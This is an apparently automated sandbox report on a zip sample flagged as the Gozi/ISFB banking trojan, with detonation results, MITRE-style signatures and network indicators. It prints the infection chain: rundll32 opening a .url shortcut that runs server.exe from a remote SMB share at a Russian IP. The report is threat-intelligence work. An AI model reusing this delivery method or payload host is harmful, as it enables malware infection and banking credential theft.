Malware Analysis Report

2025-08-11 01:44

Sample ID 230308-l5wybaeg6w
Target contratto.zip
SHA256 120b092e8d8212a7c0e796ac320dd10c56c8b801aa8fb234cb577d5f0dabc05c
Tags
gozi 7711 banker isfb trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

120b092e8d8212a7c0e796ac320dd10c56c8b801aa8fb234cb577d5f0dabc05c

Threat Level: Known bad

The file contratto.zip was found to be: Known bad.

Malicious Activity Summary

gozi 7711 banker isfb trojan

Gozi

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-08 10:07

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-08 10:07

Reported

2023-03-08 10:10

Platform

win7-20230220-en

Max time kernel

129s

Max time network

33s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url

Network

N/A

Files

memory/920-54-0x0000000001DF0000-0x0000000001DF1000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-03-08 10:07

Reported

2023-03-08 10:10

Platform

win10v2004-20230221-en

Max time kernel

145s

Max time network

140s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url

Signatures

Gozi

banker trojan gozi

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4064 wrote to memory of 1380 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe
PID 4064 wrote to memory of 1380 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe
PID 4064 wrote to memory of 1380 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url

\??\UNC\46.8.210.57\Agenzia\server.exe

"\\46.8.210.57\Agenzia\server.exe"

Network

Country Destination Domain Proto
RU 46.8.210.57:445 tcp
US 8.8.8.8:53 57.210.8.46.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 0.45.164.69.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 checklist.skype.com udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 64.45.164.69.in-addr.arpa udp
IE 20.54.89.15:443 tcp
US 8.8.8.8:53 177.238.32.23.in-addr.arpa udp
US 8.8.8.8:53 97.97.242.52.in-addr.arpa udp
US 8.8.8.8:53 203.151.224.20.in-addr.arpa udp
US 8.8.8.8:53 2.36.159.162.in-addr.arpa udp
US 93.184.220.29:80 tcp
US 93.184.221.240:80 tcp
US 93.184.221.240:80 tcp
US 8.8.8.8:53 2.8.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.4.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa udp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 tcp
RU 62.173.138.6:80 tcp

Files

memory/1380-134-0x00000000006A0000-0x00000000006AB000-memory.dmp

memory/1380-135-0x00000000021E0000-0x00000000021ED000-memory.dmp

memory/1380-138-0x0000000000400000-0x000000000044C000-memory.dmp